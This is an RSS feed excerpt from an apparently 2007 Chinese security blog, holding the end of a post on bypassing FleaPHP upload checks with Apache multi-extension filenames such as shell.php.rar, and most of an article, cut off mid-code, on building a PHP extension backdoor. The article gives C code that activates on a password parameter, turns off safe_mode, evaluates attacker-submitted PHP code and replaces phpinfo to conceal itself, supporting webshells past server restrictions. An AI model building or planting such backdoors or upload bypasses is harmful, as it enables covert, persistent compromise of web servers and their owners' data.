style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_874_882_Closed_Text.style.display='none'; Codehighlighter1_874_882_Open_Image.style.display='inline'; Codehighlighter1_874_882_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_874_882_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">/**/</span><span id=Codehighlighter1_874_882_Open_Text><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;}}}&nbsp;</span><span style="COLOR: #008000">*/</span></span></div>
<p>到这里明白了,原来都只看文件名最后一个&nbsp; "." &nbsp;之后的部分作为文件的扩展名.那么如果根据apache的一个特性,我们可以使用多扩展名的方式上传php文件而绕过验证.(比如允许的扩展名里有rar,pdf等apache不认识但常见的类型,我们就可以上传shell.php.rar并得以执行)<br><br>当然这个只是个安全隐患而已.并不是所有用FleaPHP的程序都有这个问题.<br>就像superhei说的那样,关键在于看开发者如何去使用框架,不能太过依赖于框架提供的函数.而必须自己做些必要的前提验证.就能避免漏洞</p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1282.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-05-30 16:56 <a href="http://www.phpweblog.net/GaRY/archive/2007/05/30/Something_About_FleaPHP_Upload_Class.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Developing A PHP Core Backdoor</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 23 May 2007 12:01:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1242.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1242.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1242.html</trackback:ping><description><![CDATA[<p>Author: wofeiwo/GaRY&nbsp; &lt;wofeiwo_at_gmail_dot_com&gt;</p>
<p><br>目录</p>
<p>1)前言<br>2)优缺点<br>3)设计<br>4)功能实现<br>5)参考文档<br>6)一些说明</p>
<p><br>1)前言</p>
<p>PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现.由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现一个Backdoor.而且php支持使用dl函数动态加载模块的技术,这种类似linux等系统上的LKM机制让我们的Backdoor可以更轻松的加载.本文就简单介绍下修改PHP内核的Backdoor的实现.</p>
<p>2)优缺点</p>
<p>优点:</p>
<p>1. 众所周知,PHP是一个跨平台的脚本语言,所以php Backdoor也可以很方便得跨平台.当然这必须要求你尽量使用C库或者使用php内核中提供的API来编写代码.而尽量少用系统API.不过这总比ring0下的Backdoor什么都要自己实现要好.<br>2. 由于PHP与客户端的通讯是通过http协议实现的.所以也不用担心端口隐藏,进程隐藏等问题.<br>3. 加载方便.你可以通过设置php.ini或者使用dl函数来加载你的Backdoor.或者,如果你愿意的话你可以把Backdoor编译到php里去.<br>4. 配合webshell使用,用Backdoor配置php环境,让webshell突破disable fuction,safe_mode,open_basedir等限制.</p>
<p>缺点:</p>
<p>1. 权限低.Backdoor的权限完全取决于web server程序的权限.必须与其他工具配合使用以得到高权限.<br>2. 基于php,只是一个ring3下的Backdoor,所以不能太底层,很多功能都受到限制.</p>
<p>3)设计:</p>
<p>我们这里做为一个例子,设计了个简单的php Backdoor,它主要实现了几个功能:</p>
<p>1. 通过过滤用户提交的特定变量来启动Backdoor.<br>2. 修改php环境变量.为webshell提供宽松的执行环境.<br>3. 直接执行用户提交的php代码.<br>4. 隐藏自身.</p>
<p>4)功能实现</p>
<p>前置知识:<br>要编写php Backdoor,必须先了解php module的编写技术.这个内容超出本文的范围,读者可以看下本文最后列出的参考文档.并且最好先查看以下文件以熟悉php内核的API.</p>
<p>php-src/main/php.h, 位于PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API 定义。<br>php-src/Zend/zend.h, 位于 Zend 主目录。这个文件包含了绝大部分 Zend 宏及 API 定义。 <br>php-src/Zend/zend_API.h, 也位于 Zend 主目录，包含了Zend API 的定义。</p>
<p>以下的结构体,定义了一个PHP Backdoor模块的基本信息:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">zend_module_entry&nbsp;wfw_module_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;STANDARD_MODULE_HEADER</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;wfw_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">导出函数结构体</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MINIT(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块初始化</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MSHUTDOWN(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块清理</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_RINIT(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">运行时初始化</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_RSHUTDOWN(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">运行时清理</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MINFO(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">处理phpinfo中的模块信息</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块版本</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};</span></div>
<p><br>在php生命周期中,ZendEngine首先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执行一次,而PHP_RINIT_FUNCTION函数则是在每次页面被请求的时候(RuntimeInit)都会执行一次.因此对php函数的hook,设置php环境变量,对user input的过滤,都可以根据需要在这两个函数中进行.然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进行相应的清理.而作为Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这里设置为NULL.</p>
<p>当然会了php api还不够,再配合各系统上提供的api,并通过宏定义区分以跨平台.一个backdoor是很容易编出来的.在本文中我不会直接说明每个功能的实现,这些在所有ring3后门中都大同小异.我只说明些在PHP core环境下需要注意的部分.<br>&nbsp;<br>过滤变量:<br>要过滤web server传递过来的变量,这有两种办法,一种是通过修改SAPI的input_filter,或者是treat_data.你可以是hook后再执行php的原始代码,也可以直接替换原始函数:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//函数原型如下:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//unsigned&nbsp;int&nbsp;input_filter(int&nbsp;arg,&nbsp;char&nbsp;*var,&nbsp;char&nbsp;**val,&nbsp;unsigned&nbsp;int&nbsp;val_len,&nbsp;unsigned&nbsp;int&nbsp;*new_val_len&nbsp;TSRMLS_DC)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//arg可以是PARSE_POST,PARSE_GET,PARSE_COOKIE,PARSE_STRING,PARSE_ENV等值,表示此变量是通过什么方式传递进来的.<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//var,val分别是变量名和变量值<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">SAPI_API&nbsp;SAPI_INPUT_FILTER_FUNC(wfw_input_filter)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(new_val_len)&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">new_val_len&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;val_len;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;//以上是原php中处理的代码,下面则是我添加的.</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">val</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">password</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;dosomething();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>void&nbsp;wfw_hook_input_filter()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;sapi_register_input_filter(wfw_input_filter);&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册为input_filter</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>另外一种是直接从php内建的数组里获取变量:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">int&nbsp;find_var()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zval&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">data;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">查找_GET数组</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_symtable_find(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">EG(symbol_table)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">_GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">_GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">查找pw变量&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_symtable_find(HASH_OF(</span><span style="COLOR: #000000">*</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">data))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;比对pw变量值,是密码,则执行我们的代码.</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(Z_STRVAL_PP(data)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">password</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;dosomething();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>使用那一种方式就看你的要求了.第一种可以直接获得用户提交的原始数据,如果你要在这里做处理或者filter,可以使用这种方法,一般没有特殊要求,使用第二种方法就可以了.</p>
<p>设置环境:<br>只要修改每次RINIT时候的ini设置,就可以了,我们使用ZEND API: zend_alter_ini_entry就可以实现这个功能:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">zend_alter_ini_entry(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">safe_mode</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_SYSTEM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_INI_STAGE_ACTIVATE);</span></div>
<p>执行用户提交的代码:<br>过滤web server传递过来的变量,并用以下函数执行即可:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">int&nbsp;run_user_code(char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">str)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;int&nbsp;result;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zval&nbsp;retval_ptr;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;result&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;zend_eval_string(str</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">retval_ptr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;string_name&nbsp;TSRMLS_CC);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;convert_to_string(retval_ptr);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;php_printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;Z_STRVAL(zval));<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;result;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<p>Hook函数:<br>Hook函数有不同方式,根据需要Hook函数类型的不同而不同,比如我想要替换phpinfo这个php语言内建函数,只需要这么做:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册新函数结构体</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">zend_function_entry&nbsp;hooked_functions[]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;PHP_NAMED_FE(</span><span style="COLOR: #008080">phpinfo</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;PHP_FN(hooked_phpinfo)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册为phpinfo的别名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;{</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">}&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;Must&nbsp;be&nbsp;the&nbsp;last&nbsp;line&nbsp;in&nbsp;wfw_functions[]&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>void&nbsp;hook_fuctions(void)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">&nbsp;替换函数&nbsp;</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zend_hash_del(CG(function_table)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phpinfo</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">phpinfo</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">));&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">从completer&nbsp;global里删除phpinfo函数<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;//注册新函数</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#</span><span style="COLOR: #008000">ifndef&nbsp;ZEND_ENGINE_2</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(hooked_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;MODULE_PERSISTENT&nbsp;TSRMLS_CC);&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">else</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;zend_register_functions(</span><span style="COLOR: 